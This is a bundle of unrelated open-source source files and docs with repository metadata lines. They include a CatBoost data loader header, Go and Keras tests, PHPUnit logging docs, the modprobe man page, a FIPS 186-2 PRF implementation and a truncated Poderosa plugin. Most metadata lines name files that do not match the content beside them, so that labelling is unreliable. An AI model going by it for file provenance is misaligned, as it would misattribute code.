#include <util/generic/maybe.h>
#include <util/generic/ptr.h>
#include <util/generic/strbuf.h>
#include <util/generic/string.h>
#include <util/generic/vector.h>
#include <util/generic/ylimits.h>
#include <util/system/mutex.h>
#include <util/system/types.h>

namespace NCB {

    // expose the declaration to allow to derive from it in other modules
    class TLibSvmDataLoader : public IRawObjectsOrderDatasetLoader
                           , protected TAsyncProcDataLoaderBase<TString>
    {
    public:
        using TBase = TAsyncProcDataLoaderBase<TString>;

    protected:
        decltype(auto) GetReadFunc() {
            return [this](TString* line) -> bool {
                return LineDataReader->ReadLine(line);
            };
        }

        decltype(auto) GetReadBaselineFunc() {
            return [this](TString *line) -> bool {
                return BaselineReader.ReadLine(line);
            };
        }

    public:
        explicit TLibSvmDataLoader(TDatasetLoaderPullArgs&& args);

        explicit TLibSvmDataLoader(TLineDataLoaderPushArgs&& args);

        ~TLibSvmDataLoader() {
            AsyncRowProcessor.FinishAsyncProcessing();
        }

        void Do(IRawObjectsOrderDataVisitor* visitor) override {
            TBase::Do(GetReadFunc(), GetReadBaselineFunc(), visitor);
        }

        bool DoBlock(IRawObjectsOrderDataVisitor* visitor) override {
            return TBase::DoBlock(GetReadFunc(), GetReadBaselineFunc(), visitor);
        }

        TVector<TColumn> CreateColumnsDescription(ui32 columnsCount);

        ui32 GetObjectCountSynchronized() override;

        void StartBuilder(
            bool inBlock,
            ui32 objectCount,
            ui32 offset,
            IRawObjectsOrderDataVisitor* visitor
        ) override;

        void ProcessBlock(IRawObjectsOrderDataVisitor* visitor) override;

    protected:
        static void ProcessIgnoredFeaturesListWithUnknownFeaturesCount(
            TConstArrayRef<ui32> ignoredFeatures,
            TFeaturesLayout* featuresLayout,
            TVector<bool>* ignoredFeaturesMask
        );

        static bool DataHasGroupId(TStringBuf line);

        void ProcessCdData(TVector<ui32>* catFeatures, TVector<TString>* featureNames);

    protected:
        TVector<bool> FeatureIgnored; // init in process
        THolder<NCB::ILineDataReader> LineDataReader;
        TBaselineReader BaselineReader;

        // cached
        TMutex ObjectCountMutex;
        TMaybe<ui32> ObjectCount;
    };

}

{'repo_name': 'catboost/catboost', 'stars': '5254', 'repo_language': 'C++', 'file_name': 'lz4_12.cpp', 'mime_type': 'text/x-c', 'hash': 5919442482032369767, 'source_dataset': 'data'}


// run

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

func panic1(s string) bool {
	panic(s);
}

func main() {
	x := false && panic1("first") && panic1("second");
	x = x == true && panic1("first") && panic1("second");
}

/*
; 6.out
second
panic PC=0x250f98
main·panic1+0x36 /Users/rsc/goX/test/bugs/bug142.go:6
	main·panic1(0xae30, 0x0)
main·main+0x23 /Users/rsc/goX/test/bugs/bug142.go:10
	main·main()
mainstart+0xf /Users/rsc/goX/src/runtime/amd64/asm.s:53
	mainstart()
sys·Goexit /Users/rsc/goX/src/runtime/proc.c:124
	sys·Goexit()
;
*/

{'repo_name': 'deferpanic/gorump', 'stars': '317', 'repo_language': 'Go', 'file_name': 'Makefile', 'mime_type': 'text/x-makefile', 'hash': 1672443258515552494, 'source_dataset': 'data'}


package command

import (
	"io"
	"io/ioutil"
	"os"
	"testing"

	"github.com/stretchr/testify/assert"
)

func TestGuessContentType(t *testing.T) {
	t.Parallel()

	testcases := []struct {
		filename string
		content  string

		expectedContentType string
	}{
		{
			filename:            "*.pdf",
			expectedContentType: "application/pdf",
		},
		{
			filename:            "*.css",
			expectedContentType: "text/css; charset=utf-8",
		},
		{
			filename: "index",
			content: `
					<!DOCTYPE html>

							<title>Hello World</title>

Hello, World! I am s5cmd :)

					`,
			expectedContentType: "text/html; charset=utf-8",
		},
	}

	for _, tc := range testcases {
		tc := tc

		f, err := ioutil.TempFile("", tc.filename)
		if err != nil {
			t.Error(err)
		}

		if tc.content != "" {
			f.WriteString(tc.content)
			f.Seek(0, io.SeekStart)
		}

		assert.Equal(t, tc.expectedContentType, guessContentType(f))

		f.Close()
		os.Remove(f.Name())
	}
}

{'repo_name': 'peak/s5cmd', 'stars': '330', 'repo_language': 'Go', 'file_name': 'version.go', 'mime_type': 'text/plain', 'hash': 1983101631128640421, 'source_dataset': 'data'}


const getName = options =>
  options['themer-preview-inline-name'] || options.colors;

const renderPreview = colorSet =>
  Promise.resolve({
    name: `${colorSet.name}-inline.svg`,
    contents: Buffer.from(`
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 160 24">

        <rect fill="${colorSet.colors.shade0}" x="0" y="0" width="160" height="24"></rect>

        <rect fill="${colorSet.colors.shade1}" x="8" y="13" width="18" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.shade2}" x="29" y="13" width="18" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.shade3}" x="50" y="13" width="18" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.shade4}" x="71" y="13" width="18" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.shade5}" x="92" y="13" width="18" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.shade6}" x="113" y="13" width="18" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.shade7}" x="134" y="13" width="18" height="3" rx="1" ry="1"></rect>

        <rect fill="${colorSet.colors.accent0}" x="8" y="8" width="11" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.accent1}" x="27" y="8" width="11" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.accent2}" x="46" y="8" width="11" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.accent3}" x="65" y="8" width="11" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.accent4}" x="84" y="8" width="11" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.accent5}" x="103" y="8" width="11" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.accent6}" x="122" y="8" width="11" height="3" rx="1" ry="1"></rect>
        <rect fill="${colorSet.colors.accent7}" x="141" y="8" width="11" height="3" rx="1" ry="1"></rect>

      </svg>
    `, 'utf8'),
  });

module.exports.render = (colors, options) => {
  return Object.keys(colors)
    .map(name => ({
      name: `${getName(options)}-${name}`,
      colors: colors[name],
    }))
    .map(colorSet => renderPreview(colorSet));
};

{'repo_name': 'mjswensen/themer', 'stars': '3633', 'repo_language': 'JavaScript', 'file_name': 'scope-package.zsh', 'mime_type': 'text/x-shellscript', 'hash': -5309408671536536031, 'source_dataset': 'data'}


<?xml version="1.0" encoding="utf-8" ?>

<chapter id="logging">
  <title>Logging</title>

  <para>
    <indexterm><primary>Logging</primary></indexterm>

    PHPUnit can produce several types of logfiles.
  </para>

    <title>Test Results (XML)</title>

    <para>
      The XML logfile for test results produced by PHPUnit is based upon the one
      used by the <ulink url="http://ant.apache.org/manual/Tasks/junit.html">JUnit
      task for Apache Ant</ulink>. The following example shows the XML
      logfile generated for the tests in <literal>ArrayTest</literal>:
    </para>

    <screen><![CDATA[<?xml version="1.0" encoding="UTF-8"?>
<testsuites>
  <testsuite name="ArrayTest"
             file="/home/sb/ArrayTest.php"
             tests="2"
             assertions="2"
             failures="0"
             errors="0"
             time="0.016030">
    <testcase name="testNewArrayIsEmpty"
              class="ArrayTest"
              file="/home/sb/ArrayTest.php"
              line="6"
              assertions="1"
              time="0.008044"/>
    <testcase name="testArrayContainsAnElement"
              class="ArrayTest"
              file="/home/sb/ArrayTest.php"
              line="15"
              assertions="1"
              time="0.007986"/>
  </testsuite>
</testsuites>]]></screen>

    <para>
      The following XML logfile was generated for two tests,
      <literal>testFailure</literal> and <literal>testError</literal>,
      of a test case class named <literal>FailureErrorTest</literal> and
      shows how failures and errors are denoted.
    </para>

    <screen><![CDATA[<?xml version="1.0" encoding="UTF-8"?>
<testsuites>
  <testsuite name="FailureErrorTest"
             file="/home/sb/FailureErrorTest.php"
             tests="2"
             assertions="1"
             failures="1"
             errors="1"
             time="0.019744">
    <testcase name="testFailure"
              class="FailureErrorTest"
              file="/home/sb/FailureErrorTest.php"
              line="6"
              assertions="1"
              time="0.011456">
      <failure type="PHPUnit_Framework_ExpectationFailedException">
testFailure(FailureErrorTest)
Failed asserting that <integer:2> matches expected value <integer:1>.

/home/sb/FailureErrorTest.php:8
</failure>
    </testcase>
    <testcase name="testError"
              class="FailureErrorTest"
              file="/home/sb/FailureErrorTest.php"
              line="11"
              assertions="0"
              time="0.008288">
      <error type="Exception">testError(FailureErrorTest)
Exception:

/home/sb/FailureErrorTest.php:13
</error>
    </testcase>
  </testsuite>
</testsuites>]]></screen>

    <title>Test Results (TAP)</title>

    <para>
      The <ulink url="http://testanything.org/">Test Anything Protocol (TAP)</ulink>
      is Perl's simple text-based interface between testing modules. The
      following example shows the TAP logfile generated for the tests in
      <literal>ArrayTest</literal>:
    </para>

    <screen>TAP version 13
ok 1 - testNewArrayIsEmpty(ArrayTest)
ok 2 - testArrayContainsAnElement(ArrayTest)
1..2</screen>

    <para>
      The following TAP logfile was generated for two tests,
      <literal>testFailure</literal> and <literal>testError</literal>,
      of a test case class named <literal>FailureErrorTest</literal> and
      shows how failures and errors are denoted.
    </para>

    <screen><![CDATA[TAP version 13
not ok 1 - Failure: testFailure(FailureErrorTest)
  ---
  message: 'Failed asserting that <integer:2> matches expected value <integer:1>.'
  severity: fail
  data:
    got: 2
    expected: 1
  ...
not ok 2 - Error: testError(FailureErrorTest)
1..2]]></screen>

    <title>Test Results (JSON)</title>

    <para>
      The <ulink url="http://www.json.org/">JavaScript Object Notation (JSON)</ulink>
      is a lightweight data-interchange format. The following example shows
      the JSON messages generated for the tests in <literal>ArrayTest</literal>:
    </para>

    <screen>{"event":"suiteStart","suite":"ArrayTest","tests":2}
{"event":"test","suite":"ArrayTest",
 "test":"testNewArrayIsEmpty(ArrayTest)","status":"pass",
 "time":0.000460147858,"trace":[],"message":""}
{"event":"test","suite":"ArrayTest",
 "test":"testArrayContainsAnElement(ArrayTest)","status":"pass",
 "time":0.000422954559,"trace":[],"message":""}</screen>

    <para>
      The following JSON messages were generated for two tests,
      <literal>testFailure</literal> and <literal>testError</literal>,
      of a test case class named <literal>FailureErrorTest</literal> and
      show how failures and errors are denoted.
    </para>

    <screen><![CDATA[{"event":"suiteStart","suite":"FailureErrorTest","tests":2}
{"event":"test","suite":"FailureErrorTest",
 "test":"testFailure(FailureErrorTest)","status":"fail",
 "time":0.0082459449768066,"trace":[],
 "message":"Failed asserting that <integer:2> is equal to <integer:1>."}
{"event":"test","suite":"FailureErrorTest",
 "test":"testError(FailureErrorTest)","status":"error",
 "time":0.0083680152893066,"trace":[],"message":""}]]></screen>

    <title>Code Coverage (XML)</title>

    <para>
      The XML format for code coverage information logging produced by PHPUnit
      is loosely based upon the one used by <ulink url="http://www.atlassian.com/software/clover/">
      Clover</ulink>. The following example shows the XML
      logfile generated for the tests in <literal>BankAccountTest</literal>:
    </para>

    <screen><![CDATA[<?xml version="1.0" encoding="UTF-8"?>
<coverage generated="1184835473" phpunit="3.6.0">
  <project name="BankAccountTest" timestamp="1184835473">
    <file name="/home/sb/BankAccount.php">
      <class name="BankAccountException">
        <metrics methods="0" coveredmethods="0" statements="0"
                 coveredstatements="0" elements="0" coveredelements="0"/>
      </class>
      <class name="BankAccount">
        <metrics methods="4" coveredmethods="4" statements="13"
                 coveredstatements="5" elements="17" coveredelements="9"/>
      </class>
      <line num="77" type="method" count="3"/>
      <line num="79" type="stmt" count="3"/>
      <line num="89" type="method" count="2"/>
      <line num="91" type="stmt" count="2"/>
      <line num="92" type="stmt" count="0"/>
      <line num="93" type="stmt" count="0"/>
      <line num="94" type="stmt" count="2"/>
      <line num="96" type="stmt" count="0"/>
      <line num="105" type="method" count="1"/>
      <line num="107" type="stmt" count="1"/>
      <line num="109" type="stmt" count="0"/>
      <line num="119" type="method" count="1"/>
      <line num="121" type="stmt" count="1"/>
      <line num="123" type="stmt" count="0"/>
      <metrics loc="126" ncloc="37" classes="2" methods="4" coveredmethods="4"
               statements="13" coveredstatements="5" elements="17"
               coveredelements="9"/>
    </file>
    <metrics files="1" loc="126" ncloc="37" classes="2" methods="4"
             coveredmethods="4" statements="13" coveredstatements="5"
             elements="17" coveredelements="9"/>
  </project>
</coverage>]]></screen>

    <title>Code Coverage (TEXT)</title>

    <para>
      Human readable code coverage output for the command-line or a text file.

      The aim of this output format is to provide a quick coverage overview while
      working on a small set of classes. For bigger projects this output can be
      useful to get an quick overview of the projects coverage or when used with
      the <literal>--filter</literal> functionality.

      When used from the command-line by writing to <literal>php://stdout</literal>
      this will honor the <literal>--colors</literal> setting.

      Writing to standard out is the default option when used from the command-line.

      By default this will only show files that have at least one covered line.
      This can only be changed via the <literal>showUncoveredFiles</literal> xml
      configuration option. See <xref linkend="appendixes.configuration.logging"/>.

      By default all files and their coverage status are shown in the detailed report.
      This can be changed via the <literal>showOnlySummary</literal> xml
      configuration option.
    </para>

</chapter>

{'repo_name': 'sebastianbergmann/phpunit-documentation', 'stars': '187', 'repo_language': 'HTML', 'file_name': 'index.html', 'mime_type': 'text/html', 'hash': 725618209718613284, 'source_dataset': 'data'}


# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for Keras regularizers."""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from tensorflow.python.keras._impl import keras
from tensorflow.python.keras._impl.keras import testing_utils
from tensorflow.python.platform import test

DATA_DIM = 5
NUM_CLASSES = 2

def get_data():
  (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data(
      train_samples=10,
      test_samples=10,
      input_shape=(DATA_DIM,),
      num_classes=NUM_CLASSES)
  y_train = keras.utils.to_categorical(y_train, NUM_CLASSES)
  y_test = keras.utils.to_categorical(y_test, NUM_CLASSES)
  return (x_train, y_train), (x_test, y_test)

def create_model(kernel_regularizer=None, activity_regularizer=None):
  model = keras.models.Sequential()
  model.add(keras.layers.Dense(NUM_CLASSES,
                               kernel_regularizer=kernel_regularizer,
                               activity_regularizer=activity_regularizer,
                               input_shape=(DATA_DIM,)))
  return model

class KerasRegularizersTest(test.TestCase):

  def test_kernel_regularization(self):
    with self.test_session():
      (x_train, y_train), _ = get_data()
      for reg in [keras.regularizers.l1(),
                  keras.regularizers.l2(),
                  keras.regularizers.l1_l2()]:
        model = create_model(kernel_regularizer=reg)
        model.compile(loss='categorical_crossentropy', optimizer='sgd')
        assert len(model.losses) == 1
        model.fit(x_train, y_train, batch_size=10,
                  epochs=1, verbose=0)

  def test_activity_regularization(self):
    with self.test_session():
      (x_train, y_train), _ = get_data()
      for reg in [keras.regularizers.l1(), keras.regularizers.l2()]:
        model = create_model(activity_regularizer=reg)
        model.compile(loss='categorical_crossentropy', optimizer='sgd')
        assert len(model.losses) == 1
        model.fit(x_train, y_train, batch_size=10,
                  epochs=1, verbose=0)

if __name__ == '__main__':
  test.main()

{'repo_name': 'benoitsteiner/tensorflow-opencl', 'stars': '439', 'repo_language': 'C++', 'file_name': 'BUILD', 'mime_type': 'text/plain', 'hash': 2839958788302070654, 'source_dataset': 'data'}


<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\Wishlist\Block\Adminhtml\Widget\Grid\Column\Filter;

class Text extends \Magento\Backend\Block\Widget\Grid\Column\Filter\Text
{
    /**
     * Override abstract method
     *
     * @return array
     */
    public function getCondition()
    {
        return ['like' => $this->getValue()];
    }
}

{'repo_name': 'magento/graphql-ce', 'stars': '136', 'repo_language': 'PHP', 'file_name': 'report.phtml', 'mime_type': 'text/x-php', 'hash': 6122735544332947138, 'source_dataset': 'data'}


---
title: "Application logic pages"
tagName: application_logic
lang: ja
search: exclude
permalink: /doc/ja/lb3/tag_application_logic.html
sidebar: ja_lb3_sidebar
---
{% include taglogic.html %}

{'repo_name': 'strongloop/loopback.io', 'stars': '202', 'repo_language': 'HTML', 'file_name': 'navgroup.html', 'mime_type': 'text/html', 'hash': 9151273509721676980, 'source_dataset': 'data'}


import React from 'react';
import { ImageStyle, StyleSheet, View, ViewProps } from 'react-native';
import { Button, ButtonElement, Icon, IconElement, Text } from '@ui-kitten/components';

export interface RateBarProps extends ViewProps {
  hint: string;
  value: number;
  onValueChange: (value: number) => void;
}

export const StarIcon = (style: ImageStyle): IconElement => (
  <Icon {...style} name='star'/>
);

export const RateBar = (props: RateBarProps): React.ReactElement<ViewProps> => {

  const renderRateButtonElement = (value: number): ButtonElement => {
    const status: string = value <= props.value ? 'warning' : 'basic';

    return (
      <Button
        key={value}
        style={styles.iconButton}
        appearance='ghost'
        size='tiny'
        status={status}
        icon={StarIcon}
        onPress={() => props.onValueChange(value)}
      />
    );
  };

  const { hint, ...restProps } = props;

  return (
    <View
      {...restProps}
      style={[styles.container, restProps.style]}>
      <Text
        style={styles.hint}
        appearance='hint'
        status='control'>
        {hint}
      </Text>
      {[1, 2, 3, 4, 5].map(renderRateButtonElement)}
    </View>
  );
};

const styles = StyleSheet.create({
  container: {
    flexDirection: 'row',
    alignItems: 'center',
  },
  hint: {
    marginRight: 8,
  },
  iconButton: {
    paddingHorizontal: 0,
  },
});

{'repo_name': 'akveo/kittenTricks', 'stars': '6137', 'repo_language': 'TypeScript', 'file_name': 'env.ci-ui-kitten.js', 'mime_type': 'text/plain', 'hash': 3038582586463816266, 'source_dataset': 'data'}


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

    <title></title>
    <meta name="generator" content="HTML::TextToHTML v2.51" />

MODPROBE(8) MODPROBE(8)

NAME

 modprobe - program to add and remove modules from the Linux Kernel

SYNOPSIS

       modprobe  [ -v ]  [ -V ]  [ -C config-file ]  [ -n ]  [ -i ]  [ -q ]  [
       -b ]  [ -o modulename ]  [ modulename ]  [ module parameters... ]

       modprobe [ -r ]  [ -v ]  [ -n ]  [ -i ]  [ modulename... ]

       modprobe [ -l ]  [ -t dirname ]  [ wildcard ]

       modprobe [ -c ]

       modprobe [ --dump-modversions ]  [ filename... ]

DESCRIPTION

       modprobe intelligently adds or removes a module from the Linux  kernel:
       note  that  for  convenience, there is no difference between _ and - in
       module  names.   modprobe  looks  in  the  module  directory  /lib/mod‐
       ules/`uname  -r`  for  all  the modules and other files, except for the
       optional  /etc/modprobe.conf  configuration  file  and  /etc/modprobe.d
       directory (see modprobe.conf(5)). modprobe will also use module options
       specified on the kernel command line in the form of <module>.<option>.

       Note that this version of modprobe does not do anything to  the  module
       itself:  the  work of resolving symbols and understanding parameters is
       done inside the kernel. So module failure is sometimes accompanied by a
       kernel message: see dmesg(8).

       modprobe expects an up-to-date modules.dep file, as generated by depmod
       (see depmod(8)). This file lists what other modules each  module  needs
       (if  any),  and  modprobe uses this to add or remove these dependencies
       automatically. See modules.dep(5)).

       If any arguments are given after the modulename, they are passed to the
       kernel (in addition to any options listed in the configuration file).

OPTIONS

       -v --verbose
              Print messages about what the program is doing. Usually modprobe
              only prints messages if something goes wrong.

              This option is passed through  install  or  remove  commands  to
              other  modprobe  commands  in  the  MODPROBE_OPTIONS environment
              variable.

       -C --config
              This option overrides the default  configuration  directory/file
              (/etc/modprobe.d or /etc/modprobe.conf).

              This  option  is  passed  through  install or remove commands to
              other modprobe  commands  in  the  MODPROBE_OPTIONS  environment
              variable.

       -c --showconfig
              Dump  out  the effective configuration from the config directory
              and exit.

       -n --dry-run
              This option does everything but actually insert  or  delete  the
              modules  (or  run the install or remove commands). Combined with
              -v, it is useful for debugging problems.

       -i --ignore-install --ignore-remove
              This option causes modprobe to ignore install  and  remove  com‐
              mands  in  the configuration file (if any) for the module speci‐
              fied on the command line (any dependent modules are  still  sub‐
              ject  to  commands set for them in the configuration file).  See
              modprobe.conf(5).

       -q --quiet
              Normally modprobe will report an error if you try to  remove  or
              insert   a   module  it  can't  find  (and  isn't  an  alias  or
              install/remove command). With this flag,  modprobe  will  simply
              ignore  any  bogus  names (the kernel uses this to opportunisti‐
              cally probe for modules which might exist).

       -r --remove
              This option causes modprobe to remove rather than insert a  mod‐
              ule. If the modules it depends on are also unused, modprobe will
              try to remove them too. Unlike insertion, more than  one  module
              can  be specified on the command line (it does not make sense to
              specify module parameters when removing modules).

              There is usually no reason to remove  modules,  but  some  buggy
              modules  require it. Your kernel may not support removal of mod‐
              ules.

       -V --version
              Show version of program and exit.

       -f --force
              Try to strip any versioning information from  the  module  which
              might  otherwise stop it from loading: this is the same as using
              both --force-vermagic and --force-modversion.  Naturally,  these
              checks  are  there  for your protection, so using this option is
              dangerous.

              This applies to any modules inserted: both the module (or alias)
              on the command line and any modules it on which it depends.

       --force-vermagic
              Every module contains a small string containing important infor‐
              mation, such as the kernel and compiler versions.  If  a  module
              fails  to load and the kernel complains that the "version magic"
              doesn't match, you can use this option to remove it.  Naturally,
              this check is there for your protection, so this using option is
              dangerous.

              This applies to any modules inserted: both the module (or alias)
              on the command line and any modules on which it depends.

       --force-modversion
              When modules are compiled with CONFIG_MODVERSIONS set, a section
              detailing the versions of every interfaced used by (or  supplied
              by)  the  module  is  created. If a module fails to load and the
              kernel complains that the module disagrees about  a  version  of
              some  interface,  you can use "--force-modversion" to remove the
              version information altogether. Naturally, this check  is  there
              for your protection, so using this option is dangerous.

              This applies any modules inserted: both the module (or alias) on
              the command line and any modules on which it depends.

       -l --list
              List all modules matching the given wildcard (or "*" if no wild‐
              card  is  given). This option is provided for backwards compati‐
              bility: see find(1) and basename(1) for a more flexible alterna‐
              tive.

       -a --all
              Insert all module names on the command line.

       -t --type
              Restrict  -l  to  modules  in  directories  matching the dirname
              given. This option is provided for backwards compatibility:  see
              find(1) and basename(1) for a more flexible alternative.

       -s --syslog
              This  option  causes any error messages to go through the syslog
              mechanism (as LOG_DAEMON with level LOG_NOTICE) rather  than  to
              standard  error.  This is also automatically enabled when stderr
              is unavailable.

              This option is passed through  install  or  remove  commands  to
              other  modprobe  commands  in  the  MODPROBE_OPTIONS environment
              variable.

       -S --set-version
              Set the kernel version, rather than using uname(2) to decide  on
              the kernel version (which dictates where to find the modules).

       --show-depends
              List the dependencies of a module (or alias), including the mod‐
              ule itself. This produces a (possibly empty) set of module file‐
              names,  one  per line, each starting with "insmod". Install com‐
              mands which apply are shown prefixed by "install". It  does  not
              run  any  of  the  install commands. Note that modinfo(8) can be
              used to extract dependencies of a module from the module itself,
              but knows nothing of aliases or install commands.

       --resolve-alias
              Print all module names matching an alias.

       -o --name
              This  option  tries to rename the module which is being inserted
              into the kernel. Some testing modules can usefully  be  inserted
              multiple  times,  but  the kernel refuses to have two modules of
              the same name. Normally, modules  should  not  require  multiple
              insertions,  as  that  would  make them useless if there were no
              module support.

       --first-time
              Normally, modprobe will succeed (and  do  nothing)  if  told  to
              insert  a  module which is already present or to remove a module
              which isn't present. This is ideal for simple scripts;  however,
              more  complicated  scripts  often  want to know whether modprobe
              really did something: this option makes modprobe fail  for  that
              case.

       --dump-modversions
              Print  out a list of module versioning information required by a
              module. This option is commonly used by distributions  in  order
              to  package  up  a  Linux  kernel module using module versioning
              deps.

       -b --use-blacklist
              This option causes modprobe to apply the blacklist  commands  in
              the  configuration files (if any) to module names as well. It is
              usually used by udev(7).

       -d --dirname
              Directory where modules can be  found,  /lib/modules/RELEASE  by
              default.

ENVIRONMENT

       The  MODPROBE_OPTIONS  environment  variable  can  also be used to pass
       arguments to modprobe.

COPYRIGHT

 This manual page Copyright 2002, Rusty Russell, IBM Corporation.

SEE ALSO

 modprobe.conf(5), lsmod(8), modinfo(8)

2002-12-27 MODPROBE(8)

{'repo_name': 'BashSupport/BashSupport', 'stars': '567', 'repo_language': 'Java', 'file_name': 'log4j.xml', 'mime_type': 'text/xml', 'hash': 3467351899848823988, 'source_dataset': 'data'}


/*
 * FIPS 186-2 PRF for libcrypto
 * Copyright (c) 2004-2017, Jouni Malinen <j@w1.fi>
 *
 * This software may be distributed under the terms of the BSD license.
 * See README for more details.
 */

#include "includes.h"
#include <wolfssl/options.h>
#include <wolfssl/wolfcrypt/sha.h>

#include "common.h"
#include "crypto.h"

static void sha1_transform(u32 *state, const u8 data[64])
{
	wc_Sha sha;

	os_memset(&sha, 0, sizeof(sha));
	sha.digest[0] = state[0];
	sha.digest[1] = state[1];
	sha.digest[2] = state[2];
	sha.digest[3] = state[3];
	sha.digest[4] = state[4];
	wc_ShaUpdate(&sha, data, 64);
	state[0] = sha.digest[0];
	state[1] = sha.digest[1];
	state[2] = sha.digest[2];
	state[3] = sha.digest[3];
	state[4] = sha.digest[4];
}

int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
{
	u8 xkey[64];
	u32 t[5], _t[5];
	int i, j, m, k;
	u8 *xpos = x;
	u32 carry;

	if (seed_len < sizeof(xkey))
		os_memset(xkey + seed_len, 0, sizeof(xkey) - seed_len);
	else
		seed_len = sizeof(xkey);

	/* FIPS 186-2 + change notice 1 */

	os_memcpy(xkey, seed, seed_len);
	t[0] = 0x67452301;
	t[1] = 0xEFCDAB89;
	t[2] = 0x98BADCFE;
	t[3] = 0x10325476;
	t[4] = 0xC3D2E1F0;

	m = xlen / 40;
	for (j = 0; j < m; j++) {
		/* XSEED_j = 0 */
		for (i = 0; i < 2; i++) {
			/* XVAL = (XKEY + XSEED_j) mod 2^b */

			/* w_i = G(t, XVAL) */
			os_memcpy(_t, t, 20);
			sha1_transform(_t, xkey);
			WPA_PUT_BE32(xpos, _t[0]);
			WPA_PUT_BE32(xpos + 4, _t[1]);
			WPA_PUT_BE32(xpos + 8, _t[2]);
			WPA_PUT_BE32(xpos + 12, _t[3]);
			WPA_PUT_BE32(xpos + 16, _t[4]);

			/* XKEY = (1 + XKEY + w_i) mod 2^b */
			carry = 1;
			for (k = 19; k >= 0; k--) {
				carry += xkey[k] + xpos[k];
				xkey[k] = carry & 0xff;
				carry >>= 8;
			}

			xpos += 20;
		}
		/* x_j = w_0|w_1 */
	}

	return 0;
}

{'repo_name': 's0lst1c3/eaphammer', 'stars': '1195', 'repo_language': 'C', 'file_name': 'eap_user.header', 'mime_type': 'text/plain', 'hash': 3562053641524399149, 'source_dataset': 'data'}


/*
 * Copyright 2013 the original author or authors.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package org.gradle.language.base.internal;

import org.gradle.api.Task;
import org.gradle.api.internal.tasks.DefaultTaskDependency;
import org.gradle.api.tasks.TaskDependency;
import org.gradle.language.base.BuildableModelElement;

import java.util.Collections;
import java.util.Set;

public class AbstractBuildableModelElement implements BuildableModelElement {
    private final DefaultTaskDependency buildDependencies = new DefaultTaskDependency();
    private Task lifecycleTask;

    public void setLifecycleTask(Task lifecycleTask) {
        this.lifecycleTask = lifecycleTask;
        lifecycleTask.dependsOn(buildDependencies);
    }

    public TaskDependency getBuildDependencies() {
        return new TaskDependency() {
            public Set<? extends Task> getDependencies(Task other) {
                if (lifecycleTask == null) {
                    return buildDependencies.getDependencies(other);
                }
                return Collections.singleton(lifecycleTask);
            }
        };
    }

    public void builtBy(Object... tasks) {
        buildDependencies.add(tasks);
    }

    public boolean hasBuildDependencies() {
        // TODO:DAZ There must be a better way to get independent of a Task
        return buildDependencies.getDependencies(lifecycleTask).size() > 0;
    }
}

{'repo_name': 'Pushjet/Pushjet-Android', 'stars': '139', 'repo_language': 'Java', 'file_name': 'CachingToolingImplementationLoader.java', 'mime_type': 'text/x-java', 'hash': -3371630568320403838, 'source_dataset': 'data'}


// Copyright 2004-2017 The Poderosa Project.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Drawing;
using System.Text.RegularExpressions;
using System.Globalization;

using Poderosa.Util;
using Poderosa.Plugins;
using Poderosa.Sessions;
using Poderosa.Preferences;
using Poderosa.View;
using Poderosa.Commands;
using System.ServiceModel;
using Poderosa.Plugin.Remoting;
using System.Threading.Tasks;

[assembly: PluginDeclaration(typeof(Poderosa.Forms.WindowManagerPlugin))]

namespace Poderosa.Forms {
    [PluginInfo(ID = WindowManagerPlugin.PLUGIN_ID, Version = VersionInfo.PODEROSA_VERSION, Author = VersionInfo.PROJECT_NAME, Dependencies = "org.poderosa.core.preferences;org.poderosa.core.commands")]
    internal class WindowManagerPlugin :
            PluginBase,
            IGUIMessageLoop,
            IWindowManager,
            IWinFormsService,
            ICultureChangeListener,
            IKeyBindChangeListener {
        public const string PLUGIN_ID = "org.poderosa.core.window";

        private List<MainWindow> _windows;
        private List<PopupViewContainer> _popupWindows;
        private MainWindow _activeWindow;
        private PoderosaAppContext _appContext;
        private MainWindowMenu _menu;
        private WindowPreference _preferences;
